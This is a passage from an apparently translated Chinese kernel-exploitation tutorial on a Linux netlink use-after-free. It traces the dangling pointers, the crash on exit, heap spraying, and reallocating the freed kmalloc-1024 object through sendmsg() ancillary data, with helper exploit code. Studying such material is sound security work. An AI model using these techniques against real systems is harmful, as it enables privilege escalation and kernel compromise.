[1] sk = sk_alloc(net, PF_NETLINK, GFP_KERNEL, &netlink_proto);
if (!sk)
return -ENOMEM;
[2] sock_init_data(sock, sk);
// ... cut (mutex stuff) ...
[3] init_waitqueue_head(&nlk->wait);
[4] sk->sk_destruct = netlink_sock_destruct;
sk->sk_protocol = protocol;
return 0;
}
__netlink_create()函数:
[0]设置socket的proto_ops 虚函数表为netlink_ops
[1]用prot->slab和prot->obj_size的信息申请了一个netlink_sock
[2]初始化sock的发送和接收缓冲区,初始化sk_rcvbuf/sk_sndbuf变量,绑定socket和sock。
[3]初始化等待队列
[4]定义一个专门的析构函数在释放struct netlink_sock的时候会被调用。
最后,sk_alloc()实际是调用 sk_prot_alloc() (通过使用 struct proto即netlink_proto)。这儿就是内核使用专门或者通用的cache进行分配的地方。
static struct sock *sk_prot_alloc(struct proto *prot, gfp_t priority,
int family)
{
struct sock *sk;
struct kmem_cache *slab;
slab = prot->slab;
if (slab != NULL) {
sk = kmem_cache_alloc(slab, priority & ~__GFP_ZERO); // <-----
// ... cut (zeroing the freshly allocated object) ...
}
else
sk = kmalloc(sk_alloc_size(prot->obj_size), priority); // <-----
// ... cut ...
return sk;
}
在我们看来整个协议绑定的过程中,他没有使用任何slab(slab是空的),所以他将会调用kmalloc()函数(通用cache)。
最后,我么需要整理出一个netlink_create()的调用路径。让人惊奇的是,进入的地方是socket()的syscall,我们不会展开所有路径(这是一个很好的练习)。这儿是结果:
- SYSCALL(socket)
- sock_create
- __sock_create // allocates a "struct socket"
- pf->create // pf == netlink_family_ops
- netlink_create
- __netlink_create
- sk_alloc
- sk_prot_alloc
- kmalloc
好的,我么知道netlink_sock 是在哪里被分配的和kmem_cache 的类型是通用kmem_cache ,但是我们仍然不知道确切的kmem_cache (kmalloc-32? kmalloc-64?)。
上一节中,我们知道了netlink_sock对象是被一个通用kmem_cache分配的
kmalloc(sk_alloc_size(prot->obj_size), priority)
\\kmalloc(大小,类型)
sk_alloc_size()在哪:
#define SOCK_EXTENDED_SIZE ALIGN(sizeof(struct sock_extended), sizeof(long))
static inline unsigned int sk_alloc_size(unsigned int prot_sock_size)
{
return ALIGN(prot_sock_size, sizeof(long)) + SOCK_EXTENDED_SIZE;
}
NOTE:struct sock_extended结构体是用于在不破坏内核的ABI的情况下扩展原本的struct sock。这个不是一定要去了解的,我们只是需要明白他的大小是被预先申请的。
就是说大小是:sizeof(struct netlink_sock) + sizeof(struct sock_extended) + SOME_ALIGNMENT_BYTES.
记住我们不是一定要知道确切的大小。既然我们分配到一个通用的
kmem_cache,我们只需要知道cache的上界即最大值足够容纳我们的对象(见核心概念)。
WARNING-1:在核心概念中提到通用的kmemcaches有2的次方的大小。这不一定是完全准确的。有些操作系统有其他大小像 “kmalloc-96” 和 “kmalloc-192”。这样做的理由是有很多对象是更接近这些大小,而不是2的次方,这么做可以减少内碎片。
WARNING-2:使用“仅调试”的方法是一个好的开始点去大致了解目标对象的大小。无论怎么样,这些大小可能是错的在生产内核上的预处理配置文件不同。他会变化一些字节甚至几百字节。同时,我们应该在我们计算出来的内核和kmem_cache大小边界相近的时候特别关注。举个例子,一个260字节的对象可以在kmalloc-512但是可能被减少到220字节在生产内核上(对于kmalloc-256,那将会很困难)。
ps:
standard(production) kernel:生产内核就是指我们正在使用的kernel。
Crash(capture)kernel:捕获内核 ,linux系统崩溃后使用的内核。
用下面的方法5(看下面),我们发现我们的目标大小是kmalloc-1024,这是一个完美的cache去实现UAF,你会在再分配字节看到的。
Method #1 [static]: 手算
这个注意是纯手工去加所有的字段大小(例如long是8字节,int是4字节)。这个方法在小的结构上效果很好,但是在打的结构上很容易出错。必须考虑对齐,填充,打包(减少数据结构中的数据结构)。例如:
struct __wait_queue {
unsigned int flags; // offset=0, total_size=4
// offset=4, total_size=8 <---- PADDING HERE TO ALIGN ON 8 BYTES
void *private; // offset=8, total_size=16
wait_queue_func_t func; // offset=16, total_size=24
struct list_head task_list; // offset=24, total_size=40 (sizeof(list_head)==16)
};
这个很简单,但是可以看看struct sock,祝你好运。这个甚至更容易出错,当需要考虑每一个预处理程序配置的宏和控制复杂的union。
Method #2 [static]: 用 ‘pahole’ 工具 (debug only)
pahole是一个很好的工具去实现这个,他自动的做做这个冗长的先置任务。举个例子,把struct socket的结构dump下来:
$ pahole -C socket vmlinuz_dwarf
struct socket {
socket_state state; /* 0 4 */
short int type; /* 4 2 */
/* XXX 2 bytes hole, try to pack */
long unsigned int flags; /* 8 8 */
struct socket_wq * wq; /* 16 8 */
struct file * file; /* 24 8 */
struct sock * sk; /* 32 8 */
const struct proto_ops * ops; /* 40 8 */
/* size: 48, cachelines: 1, members: 7 */
/* sum members: 46, holes: 1, sum holes: 2 */
/* last cacheline: 48 bytes */
};
这看起来是一个完美的工具,但是他需要内核有 DWARF标志。然而开发内核是没有这个的。
Method #3 [static]: 用反编译器
好的,你不能确切的得到一个合适的kmalloc()大小是因为他是动态的。无论怎样,你可能需要尽量的去查看这些结构所用偏移地址(特别是最后一个字段)然后手工计算,我们之后会确切的使用。
Method #4 [dynamic]: 用 System Tap 工具 (debug only)
在第一部分我们展示了如何使用Sytem Tap的Guru模式去写一些代码嵌入内核中(LKM)。我们可以重新使用他在这儿,仅仅重新查看sk_alloc_size()函数的过程。注意你不一定能直接调用sk_alloc_size()因为他是内联函数。无论怎么样,你能复制粘贴他的代码然后dump下来。
另一种方法可以在socket()调用期间探测kmalloc()的调用。机会可能翻倍,那么怎么去知道哪个是正确的呢?你可以close()这个你刚刚创建的socket,探测kfree()然后尽力去匹配在kmalloc()中的指针。因为kmalloc的第一个参数是大小,所以你可以找到正确的一个。
作为一种选择,你可以使用来自kmalloc()的print_backtrace()函数。当心,System Tap会抛弃一些信息,如果内容太多的话。
Method #5 [dynamic]: 查看 "/proc/slabinfo"
这个方法看起来和low,但是其实效果很好。如果kmem_cache使用一个专用的cache,那么你直接有这个对象的大小在“objsize”列,只需要知道你的kmem_cache的名字(struct proto)
要不然,就写一个需要分配大量目标对象的程序。例如:
int main(void)
{
while (1)
{
// allocate by chunks of 200 objects
for (int i = 0; i < 200; ++i)
_socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK);
getchar();
}
return 0;
}
NOTE:我们在这儿做的实际上是堆喷射(heap spraying)。
在另一个窗口跑:
watch -n 0.1 'sudo cat /proc/slabinfo | egrep "kmalloc-|size-" | grep -vi dma'
然后运行程序,输入一个键来触发下一个块的划分。在一些时间后,你会看到一个通用cache"active_objs/num_objs"越来越多,这个就是我们的目标kmem_cache
好了,收集全部的信息花了很久。无论怎么样,他是必要的,而且让我们更好的了解到了网络协议API。我希望你现在知道为什么
KASAN是让人惊叹的,他做的所有这些工作甚至更多。
让我们来总结一下:
分配器是什么?
SLAB
对象是什么?
struct netlink_sock
他属于哪一个cache?
kmalloc-1024
他是怎么申请的?
他是怎么释放的?
我们回到bug
在这节中,我们会找到UAF的悬空指针,为什么part2部分的验证代码crash了,为什么我们以及做的“UAF迁移”(不是一个官方的称呼)是对我们有利的。
现在,内核还没有机会在界面反馈错误就残忍的崩溃了。所以,我们没有任何调用跟踪区了解他是这么进行的。唯一确认的事是我们每次打中他的关键点,他就崩溃了,从前也没有过。当然,这个是有意的。我们实际上已经做了一个UAF转移。来解释以下:
整个exploit初始化时,我们做了:
这是,我们现在的工作情况:
file cnt | sock cnt | fdt[3] | fdt[4] | fdt[5] | file_ptr->private_data | socket_ptr->sk |
----------+-----------+-----------+-----------+-----------+------------------------+----------------+
3 | 2 | file_ptr | file_ptr | file_ptr | socket_ptr | sock_ptr |
注意,这里面的fdt[4]和fdt[5]应该都是dup()出来的
fdt[3]=sock_fd,fdt[4]=unblock_fd,fdt[5]=sock_fd2
注意socket_ptr (struct socket)和sock_ptr(struct netlink_sock)的不同。
我们假设:
fd=3 is "sock_fd"
fd=4 is "unblock_fd"
fd=5 is "sock_fd2"
struct file与我们的netlink socket相关的计数器是3,因为一个是socket()的,两个是dup()的。反过来,sock的计数器是2,因为一个是socket()用,一个是bind()用。
现在,让我们来触发这个漏洞一次,这个sock计数器将会减一,文件计数器也会减一。而且fdt[5]变成null了,注意调用close(5)没有sock计数器减一,使这个漏洞做的。
现在的情况:
file cnt | sock cnt | fdt[3] | fdt[4] | fdt[5] | file_ptr->private_data | socket_ptr->sk |
----------+-----------+-----------+-----------+-----------+------------------------+----------------+
2 | 1 | file_ptr | file_ptr | NULL | socket_ptr | sock_ptr |
触发第二次:
file cnt | sock cnt | fdt[3] | fdt[4] | fdt[5] | file_ptr->private_data | socket_ptr->sk |
----------+-----------+-----------+-----------+-----------+------------------------+---------------------+
1 | FREE | NULL | file_ptr | NULL | socket_ptr | (DANGLING) sock_ptr |
同样的,这里close(3)没有让sock的计数器减一,是这个漏洞做的。因为这个计数器变成了0,所以才被释放的。
正如我们所看见的,这个struct file仍然或者因为第四个文件指针指向他。并且,这个struct socket现在又一个悬空指针在各个释放的sock对象上。这个减少上面提到的UAF迁移。不像第一个情景,sock变量是一个悬空指针,现在是struct socket结构体中sk指针。换种方式说,我们现在可以通过还活着的unblock_fd来访问socket的悬空指针。
你可能想知道为什么struct socket仍然又一个悬空指针?原因是,当netlink_sock 对象被用__sk_free()释放之后,他做了:
1.调用sock的析构函数
2.调用sk_prot_free()
没有一个实际上更新了socket的结构体。
如果你在利用漏洞的时候在最后按下一个键之前看来命令行界面,你会发现一个信息:
[ 141.771253] Freeing alive netlink socket ffff88001ab88000
这个来自sock的析构函数netlink_sock_destruct() (__sk_free()调用的):
static void netlink_sock_destruct(struct sock *sk)
{
struct netlink_sock *nlk = nlk_sk(sk);
// ... cut ...
if (!sock_flag(sk, SOCK_DEAD)) {
printk(KERN_ERR "Freeing alive netlink socket %p\n", sk); // <-----
return;
}
// ... cut ...
}
好了,我们现在找到了一个悬空指针,你猜猜看怎么样,还有更多。
当我们用netlink_bind()创建目标socket的时候,我们看到计数器被增加了一。那就是为什么我们会可以用netlink_getsockbypid()来引用他。没有太多的细节,netlink_sock指针被存在nl_table的哈希表中(这会在第四部分被讲到)。当销毁一个sock对象,这些指针也变成了悬空指针。
去找到所有的悬空指针又以下两点原因:
让我们据徐去理解为什么内核会crash在退出的时候。
在上面的文章中我们发现了三个悬空指针:
在struct socket中的sk(sk被释放了,但是struct socket没有被释放,其中的第一个字段指向sk,所以就变成了悬空指针)
两个netlink_sock指针在nl_table的哈希表中(有三个netlink_sock指向一个sk,一个被释放了,其他两个就是悬空指针)
现在是时候去解释为什么poc会crash。
我们输入一个字符的在我们的验证代码时发生了什么?这个exp仅仅是退出了,到那时这个意味着很多。内核需要去释放每一个分配给程序的资源。不然会又大量的内存泄露。
这个退出的过程本身时有一点复杂的。他多半时发生在do_exit()函数。在一些时候,他需要去释放文件相关的指针。他大概做了这些:
为了保持简单,我们没有把unblock_fd释放,而是让他在程序退出的时候自动释放。在最后,netlink_release()将会被调用。从这里开始,这儿有很多UAF,如果他不crash就太幸运了:
static int netlink_release(struct socket *sock)
{
struct sock *sk = sock->sk; // <----- dangling pointer
struct netlink_sock *nlk;
if (!sk) // <----- not NULL because... dangling pointer
return 0;
netlink_remove(sk); // <----- UAF
sock_orphan(sk); // <----- UAF
nlk = nlk_sk(sk); // <----- UAF
// ... cut (more and more UAF) ...
}
哇。。。这儿有很多UAF操作,对不?他事实上太多了:-(。。。问题是,每一个操作都必须如此:
1.做一些有用的事或者什么都不做
2.不会crash(因为bug)或者坏的返回参数
因为这个,netlink_release()不是一个好的选择,对于exp来说(看下一节)。
在进一步之前,让我们确认让程序crash的真正原因通过修改poc和运行他:
int main(void)
{
// ... cut ...
printf("[ ] ready to crash?\n");
PRESS_KEY();
close(unblock_fd);
printf("[ ] are we still alive ?\n");
PRESS_KEY();
}
很好,我们没有看见"[ ] are we still alive?"的信息。我们的直觉是对的,内核crash是因为netlink_release()的UAF们。这也代表其他很重要的事:我们有一个我们想要就可以触发UAF的方法。
现在我们发先了悬空指针,了解为什么内核crash,了解我们可以无论何时的触发UAF,现在是时候去写exp了。
“这不是演习”
独立于bug,一个UAF的exp需要一个再分配在一些指针上。为了去做他,一个reallocation gadget 是必要的。
一个reallocation gadget意味着强迫内核在用户空间(一般是通过syscall())使用kmalloc()(内核代码路径)。一个完美的reallocation gadget有以下的特性:
不幸的是,极少能发现一个简单的gadget可以做上面的所有的。一个著名的gadget是msgsnd() (System V IPC,系统5进程间通信)。他是快的,他也不阻塞,你达到一些通用的kmem_cache 从64的大小开始。哎,他无法控制前48位的数据(sizeof(struct msg_msg))。我们不将会使用他在这儿,如果你对这个gadget好奇,可以看看sysv_msg_load()。
这节会介绍另一个知名的gadget:ancillary data buffer(也被叫做sendmsg())。然后他将会揭示你exp失败的主要原因和怎么去最小化风险。总结本节,我们将会看到怎么样在用户空间使用再分配。
为了用类型混淆写UAF的exp,我们需要去申请一个精心安排的对象在老的struct netlink_sock里面。让我们想一想这个对象是在:0xffffffc0aabbcced。我们无法去改变位置。
“如果你不能去找他们,就让他们来找你”
在特定的位置分配对象叫做重定位。往往这个内存地址和你刚刚释放的内存是相同的。(我们例子中的struct netlink_sock)
通过SLAB分配器,这是很简单的。为什么?通过struct array_cache的帮助,SLAB使用LIFO算法。这就表明,最后释放的内存地址 (kmalloc-1024)和第一个重新投入使用的地址是相同的。
这是非常震惊的,因为他和slab无关。如果你尝试使用SLUB重新分配的话,就不会是这样的了。
让我们描述一下 kmalloc-1024的cache:
1.每个kmalloc-1024的对象有1024字节的大小。
2.每个slab是由一个简单的页面组测(4096字节),因此每一个slab里面由4个对象。
3.现在让我们假设这个cache有两个slab。
在释放 struct netlink_sock 对象之前,我们在这个情况:
注意ac->available是指向下一个未分配的空对象的编号(plus one)。netlink_sock 对象是被释放的。在最快的方法中,释放一个对象等同于:
ac->entry[ac->avail++] = objp; // "ac->avail" is POST-incremented
最后,一个struct sock对象被分配(kmalloc(1024))通过最快路径。
objp = ac->entry[--ac->avail]; // "ac->avail" is PRE-decremented
导致了下面的情况:
这就是了。 新struct sock的内存地址是和老的struct netlink_sock (0xffffffc0aabbccdd)一样的。我们做了一个重分配。不是很差,对吧?
当然,这个是理想的例子。在实际中,多件事可能出错就像我们接下来做的一样。
先前的文章介绍了两个socket缓冲区:发送缓冲区和接收缓冲区。这儿其实有第三个:选择缓冲区(也被叫做辅助数据缓冲区)。在这一节,我们将会看到怎么样用任意数据填充他并且把他作为我们的在分配gadget。
这个gadget是可以被上面所说的sendmsg()的系统调用访问到。函数__sys_sendmsg()是(几乎)直接被SYSCALL_DEFINE3(sendmsg)调用:
static int __sys_sendmsg(struct socket *sock, struct msghdr __user *msg,
struct msghdr *msg_sys, unsigned flags,
struct used_address *used_address)
{
struct compat_msghdr __user *msg_compat =
(struct compat_msghdr __user *)msg;
struct sockaddr_storage address;
struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
[0] unsigned char ctl[sizeof(struct cmsghdr) + 20]
__attribute__ ((aligned(sizeof(__kernel_size_t))));
/* 20 is size of ipv6_pktinfo */
unsigned char *ctl_buf = ctl;
int err, ctl_len, iov_size, total_len;
// ... cut (copy msghdr/iovecs + sanity checks) ...
[1] if (msg_sys->msg_controllen > INT_MAX)
goto out_freeiov;
[2] ctl_len = msg_sys->msg_controllen;
if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
// ... cut ...
} else if (ctl_len) {
if (ctl_len > sizeof(ctl)) {
[3] ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
if (ctl_buf == NULL)
goto out_freeiov;
}
err = -EFAULT;
[4] if (copy_from_user(ctl_buf, (void __user *)msg_sys->msg_control,
ctl_len))
goto out_freectl;
msg_sys->msg_control = ctl_buf;
}
// ... cut ...
[5] err = sock_sendmsg(sock, msg_sys, total_len);
// ... cut ...
out_freectl:
if (ctl_buf != ctl)
[6] sock_kfree_s(sock->sk, ctl_buf, ctl_len);
out_freeiov:
if (iov != iovstack)
sock_kfree_s(sock->sk, iov, iov_size);
out:
return err;
}
他做了:
[0]:申明一个ctl的缓冲区大小是(16+20)字节在栈中
[1]:确保用户空间的msg_controllen是小于等于INT_MAX
[2]:把用户空间的msg_controllen 拷贝到ctl_len
[3]:用kmalloc()分配一个大小为ctl_len内核缓冲区ctf_buf
[4]:把ctl_len大小的msg_control 中的用户数据拷贝到内核缓冲区ctl_buf (在[3]中申请的)
[5]:调用sock_sendmsg(),这个函数会调用一个socket的回调sock->ops->sendmsg()
[6]:释放内核缓冲区ctl_buf
ps:具体的cmsghdr和msghdr可以参考https://blog.csdn.net/wsllq334/article/details/6977039。msghdr 其中的msg_control(指向缓冲区)与msg_controllen(缓冲区大小)字段就是所谓的附属缓冲区成员。附属信息可以包括0,1,或是更多的单独附属数据对象。在每一个对象之前都有一个struct cmsghdr结构。头部之后是填充字节,然后是对象本身。简单的说,就是struct msghdr是整个sendmsg的头,cmsghdr是辅助缓冲区
的头
大量的用户空间数据,对不?对,那就是为什么我们喜欢他。总之,我们可以申请一块内核缓冲区通过
kmalloc():
msg->msg_controllen:任意大小(必须比36字节大,但是小于INT_MAX)
msg->msg_control:任意数据
现在。让我们来看看sock_kmalloc()做了什么:
void *sock_kmalloc(struct sock *sk, int size, gfp_t priority)
{
[0] if ((unsigned)size <= sysctl_optmem_max &&
atomic_read(&sk->sk_omem_alloc) + size < sysctl_optmem_max) {
void *mem;
/* First do the add, to avoid the race if kmalloc
* might sleep.
*/
[1] atomic_add(size, &sk->sk_omem_alloc);
[2] mem = kmalloc(size, priority);
if (mem)
[3] return mem;
atomic_sub(size, &sk->sk_omem_alloc);
}
return NULL;
}
首先,这个大小的参数是会被再次检查,与内核范围“optmem_max”比较。他能被在procfs文件系统里面检索:
$ cat /proc/sys/net/core/optmem_max
如果这个size是小于sysctl_optmem_max ,那么会将size和当前sock的当前可选择内存缓冲区大小相加并且检查他是否小于sysctl_optmem_max(optmem_max)[0]。我们将会需要区检查这个在exp中。记住,我们的目标kmem_cache是kmalloc-1024。如果这个optmem_max的大小是小于或者等于512字节的,那么我们搞砸了。在例子中,我们应该找到另一个重定向gadget。sk_omem_alloc 已经在sock创造时被初始化为0了。
NOTE:记住kmalloc(512 + 1)就会在kmalloc-1024的cache里了。
如果检查0通过了,那么sk_omem_alloc 会被增加size的大小[1]。然后,这儿时一个kmalloc()的调用,使用的时size参数。如果他成功了,这个指针会被返回[3],否则sk_omem_alloc会减去size然后函数会返回null。
好了,我们可以调用kmalloc()申请几乎任意大小的空间([36,sysctl_optmem_max]),他内容会被任意值填充。虽然有问题。ctl_buf缓冲区会被自动的释放当__sys_sendmsg()退出的时候([6]在之前的函数里)。即,sock_sendmsg()的调用必须被中止。(sock->ops->sendmsg())
在过去的文章里,我们知道怎么让一个sendmsg()被中止:填满整个接收缓冲区。这个可能会诱惑我们去做和netlink_sendmsg()一样的事。不幸的是,我们不能重用这个方法。原因是netlink_sendmsg()将会调用netlink_unicast(),netlink_unicast()会调用netlink_getsockbypid()。如此一来,将会让我们在nl_table的哈希表悬空指针被取消(UAF)。
即,我们必须找到另一个socket家族:AF_UNIX。你可以使用另一个,但是这个是很棒,因为他不需要任何特殊权限而且几乎无处不在。
ps:AF_UNIX见:https://www.cnblogs.com/shangerzhong/p/9153737.html
WARNING:我们不将会介绍AF_UNIX的实现(特别是unix_dgram_sendmsg()),那会很长。他不是那么复杂(和AF_NETLINK很相近),我们只需要知道两件事:
像netlink_unicast(),一个sendmsg会被以下条件中止:
在unix_dgram_sendmsg()(像netlink_unicast()),这个timeo的值是被计算的:
timeo = sock_sndtimeo(sk, msg->msg_flags & MSG_DONTWAIT);
static inline long sock_sndtimeo(const struct sock *sk, int noblock)
{
return noblock ? 0 : sk->sk_sndtimeo;
}
即,如果我们不设置noblock参数(不使用MSG_DONTWAIT),那么timeout的值是sk_sndtimeo。幸运的是,这个值可以通过setsockopt()控制:
int sock_setsockopt(struct socket *sock, int level, int optname,
char __user *optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
// ... cut ...
case SO_SNDTIMEO:
ret = sock_set_timeout(&sk->sk_sndtimeo, optval, optlen);
break;
// ... cut ...
}
他调用了sock_set_timeout():
static int sock_set_timeout(long *timeo_p, char __user *optval, int optlen)
{
struct timeval tv;
if (optlen < sizeof(tv))
return -EINVAL;
if (copy_from_user(&tv, optval, sizeof(tv)))
return -EFAULT;
if (tv.tv_usec < 0 || tv.tv_usec >= USEC_PER_SEC)
return -EDOM;
if (tv.tv_sec < 0) {
// ... cut ...
}
*timeo_p = MAX_SCHEDULE_TIMEOUT; // <-----
if (tv.tv_sec == 0 && tv.tv_usec == 0) // <-----
return 0; // <-----
// ... cut ...
}
在最后,如果我们调用setsockopt()通过选择SO_SNDTIMEO,然后给他一个被填充为0的struct timeval 。他将会设置timeout的值为MAX_SCHEDULE_TIMEOUT(无限阻塞)。他不要求任何特殊的权限。
我们的问题解决了。
第二个问题是我们需要处理控制数据缓冲区的代码。他很容易在unix_dgram_sendmsg()被调用。
static int unix_dgram_sendmsg(struct kiocb *kiocb, struct socket *sock,
struct msghdr *msg, size_t len)
{
struct sock_iocb *siocb = kiocb_to_siocb(kiocb);
struct sock *sk = sock->sk;
// ... cut (lots of declaration) ...
if (NULL == siocb->scm)
siocb->scm = &tmp_scm;
wait_for_unix_gc();
err = scm_send(sock, msg, siocb->scm, false); // <----- here
if (err < 0)
return err;
// ... cut ...
}
我们虽然在上一篇文章绕过了检查,但是这儿依然有一些不同的事情:
static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,
struct scm_cookie *scm, bool forcecreds)
{
memset(scm, 0, sizeof(*scm));
if (forcecreds)
scm_set_cred(scm, task_tgid(current), current_cred());
unix_get_peersec_dgram(sock, scm);
if (msg->msg_controllen <= 0) // <----- this is NOT true anymore
return 0;
return __scm_send(sock, msg, scm);
}
正如你所看到的,我们使用过msg_control (所以msg_controllen 是被确定了的)。即我们再也不能绕过 __scm_send(),他需要返回0。
让我们从”辅助数据信息对象“的结构看起:
struct cmsghdr {
__kernel_size_t cmsg_len; /* data byte count, including hdr */
int cmsg_level; /* originating protocol */
int cmsg_type; /* protocol-specific type */
};
这是一个16字节的数据结构而且必须在我们的msg_control的缓冲区开始位置(有着任意数据填充)。他的使用事实上取决于socket的类型。我们可以把他们看成,在socket做了一些特殊的事情。举个例子,在UNIX的socket,他可以被用来通过socket传输一些资格凭证。
控制消息缓存(msg_control)能维持一个或多个控制信息。每个控制信息是有头部和数据组成。
第一条控制信息头部可以使用CMSG_FIRSTHDR()检索:
#define CMSG_FIRSTHDR(msg) __CMSG_FIRSTHDR((msg)->msg_control, (msg)->msg_controllen)
#define __CMSG_FIRSTHDR(ctl,len) ((len) >= sizeof(struct cmsghdr) ? \
(struct cmsghdr *)(ctl) : \
(struct cmsghdr *)NULL)
即,他检查是否在msg_controllen 预计的len是大于16位的。如果不是,意味着控制信息缓冲区甚至没有一个控制信息头。既然这样,他直接返回null。不然,他返回第一个控制信息的开始地址(msg_control)。
为了找到下一个控制信息,必须使用CMG_NXTHDR()去检索下一个控制信息头的开始地址:
#define CMSG_NXTHDR(mhdr, cmsg) cmsg_nxthdr((mhdr), (cmsg))
static inline struct cmsghdr * cmsg_nxthdr (struct msghdr *__msg, struct cmsghdr *__cmsg)
{
return __cmsg_nxthdr(__msg->msg_control, __msg->msg_controllen, __cmsg);
}
static inline struct cmsghdr * __cmsg_nxthdr(void *__ctl, __kernel_size_t __size,
struct cmsghdr *__cmsg)
{
struct cmsghdr * __ptr;
__ptr = (struct cmsghdr*)(((unsigned char *) __cmsg) + CMSG_ALIGN(__cmsg->cmsg_len));
if ((unsigned long)((char*)(__ptr+1) - (char *) __ctl) > __size)
return (struct cmsghdr *)0;
return __ptr;
}
这个不像他看起来一样复杂。他实际上用现在控制信息的头地址cmsg 加上了当前控制信息头部中的cmsg_len字节(如果必要的话会加一写对齐)。如果下一个头部的总计大小超出了当前整个控制消息缓冲区,那么意味着这儿没有更多头部了,他会返回null。否则,将放回下一个头的指针。
当心!cmsg_len 是他的信息和他的头部的长度和。
最后,这是一个完整性检查宏CMSG_OK()去检查当前的控制信息大小(cmsg_len)是不是大于控制信息缓冲区。
#define CMSG_OK(mhdr, cmsg) ((cmsg)->cmsg_len >= sizeof(struct cmsghdr) && \
(cmsg)->cmsg_len <= (unsigned long) \
((mhdr)->msg_controllen - \
((char *)(cmsg) - (char *)(mhdr)->msg_control)))
好了,现在让我们看看__scm_send()的代码,最后对控制信息做了一些实际有用的事:
int __scm_send(struct socket *sock, struct msghdr *msg, struct scm_cookie *p)
{
struct cmsghdr *cmsg;
int err;
[0] for (cmsg = CMSG_FIRSTHDR(msg); cmsg; cmsg = CMSG_NXTHDR(msg, cmsg))
{
err = -EINVAL;
[1] if (!CMSG_OK(msg, cmsg))
goto error;
[2] if (cmsg->cmsg_level != SOL_SOCKET)
continue;
// ... cut (skipped code) ...
}
// ... cut ...
[3] return 0;
error:
scm_destroy(p);
return err;
}
我们的目标是去强迫 __scm_send()返回0[3]。因为msg_controllen 是我们再分配的大小(1024)。我们将会进入这个循环[0](CMSG_FIRSTHDR(msg) != NULL)。
因为[1],这个值在第一个控制信息头部应该是有效的。我们将会设置他为1024(我们整个控制信息缓冲区的大小)。然后,通过指定一个值不同于SOL_SOCKET 。我们可以跳过整个循环[2]。即,下一个控制信息头部将会被CMSG_NXTHDR()查找,因为cmsg_len 和msg_controllen 是相等的(这是唯一一个控制信息),cmsg将会被设置为null,我们将会成功退出循环,返回0[3]。
用另一句话来说,下列过程:
好的,我们得到了所有我们需要的东西,去重新分配一个几乎是任意字符填充的kmalloc-1024的cache。在深入研究之前,我们来看看那些可能出错。
在重新分配介绍中,理想的情况已经被阐述过了。然而,我们按照那条路攻击会发生什么?事情会出错。。。
WARNING:我们将不会阐述每一个kmalloc()和kfree()的过程,希望你现在已经了解了分配器。
举个例子,让我们思考netlink_sock对象即将要被被释放:
还有其他的执行路径可以考虑,kmalloc()也是如此。。。考虑了这么多问题,你的所要执行的工作在系统中是孤独的。但是故事不会在这里停下。
这儿有其他的任务(包括内核的)同时使用kmalloc-1024的cache。你在和他们赛跑。一场你会输的赛跑。。。
举个例子,你是释放了netlink_sock对象,但是其他的任务也释放了一个kmalloc-1024对象。即,你系那个会需要去申请两次去重新发呢配netlink_sock(LIFO)。如果其他的作业偷走了他(跑赢了你)?当然。。。你无论如何不能去重分配他直到非常相同的任务不会返回(同时希望这个任务不会被转移动到其他cpu。。。)不过,如何去察觉他?
正如你所看到的,很多事情会出错。这是exp中最关键的一步:释放netlink_sock对象后和再分配他之前。我们不能解决文章中的所有问题。这个更高级的exp,他要求更强大的内核知识。可靠的重定位是一个复杂的主题。
无论怎么样,让我们用两个基础的技巧去解决一些上述的问题:
最终出现。无论怎样,这是纯猜想(记住基础的技巧)。
请检查执行节去看看他是怎么完成的吧。
你被上一节吓到了?不要担心,我们现在很幸运。我们要释放的对象(struct netlink_sock)是位于kmalloc-1024。这是个令人惊讶的cache,因为没有被在内核中用的很多。为了去说服你,执行上面“method #5”的穷人方法(???),即查找对象尺寸,观察各种各样的普遍内核内存kmemcaches:
watch -n 0.1 'sudo cat /proc/slabinfo | egrep "kmalloc-|size-" | grep -vi dma'
看?他根本没怎么动。现在看看 “kmalloc-256”, “kmalloc-192”, “kmalloc-64”, “kmalloc-32”。这些事坏人。。。他们只是最常见的内核对象大小。在这些cache里面利用UAF简直事地狱。当然,“kmalloc的活动”取决于你的目标和你在上面运行的方法。但是
,以前的缓冲在所有系统上都是不稳定的。
好了,是时候去回到我们的poc然后开始编写再分配了。
让我们解决array_cache 的问题通过把我们所有的线程迁移到cup#0:
static int migrate_to_cpu0(void)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (_sched_setaffinity(_getpid(), sizeof(set), &set) == -1)
{
perror("[-] sched_setaffinity");
return -1;
}
return 0;
}
下一步,我们想要去检查我们可以使用辅助数据缓存的原语,让我们探究最理想的内核参数(optmem_max sysctl)的值(通过procfs进程文件系统):
static bool can_use_realloc_gadget(void)
{
int fd;
int ret;
bool usable = false;
char buf[32];
if ((fd = _open("/proc/sys/net/core/optmem_max", O_RDONLY)) < 0)
{
perror("[-] open");
// TODO: fallback to sysctl syscall
return false; // we can't conclude, try it anyway or not ?
}
memset(buf, 0, sizeof(buf));
if ((ret = _read(fd, buf, sizeof(buf))) <= 0)
{
perror("[-] read");
goto out;
}
printf("[ ] optmem_max = %s", buf);
if (atol(buf) > 512) // only test if we can use the kmalloc-1024 cache
usable = true;
out:
_close(fd);
return usable;
}
下一步是准备控制信息缓存区。请注意g_realloc_data 是全局申明的,所以每一个线程可以访问他。设置正好的cmsg字段(就是cmsghdr结构体):
ps:cmsghdr见 https://www.cnblogs.com/huyc/archive/2011/12/05/2276827.html
#define KMALLOC_TARGET 1024
static volatile char g_realloc_data[KMALLOC_TARGET];
static int init_realloc_data(void)
{
struct cmsghdr *first;
memset((void*)g_realloc_data, 0, sizeof(g_realloc_data));
// necessary to pass checks in __scm_send()
first = (struct cmsghdr*) g_realloc_data;
first->cmsg_len = sizeof(g_realloc_data);
first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg
first->cmsg_type = 1; // <---- ARBITRARY VALUE
// TODO: do something useful will the remaining bytes (i.e. arbitrary call)
return 0;
}
因为我们将会重分配AF_UNIX(负责进程间通信)套接字,我们需要区准备他们。我们将会为了每一个再分配的线程创建一对套接字。这里,我们创造一个特殊的unix socket:abstract sockets(man 7 unix)。即他们的地址从null字节开始(’@’ in netstat)。这不是强制的,仅仅是一个偏好。发送套接字连接接收套接字然后结束,我们通过setsockopt()设置timeout 是MAX_SCHEDULE_TIMEOUT :
ps:
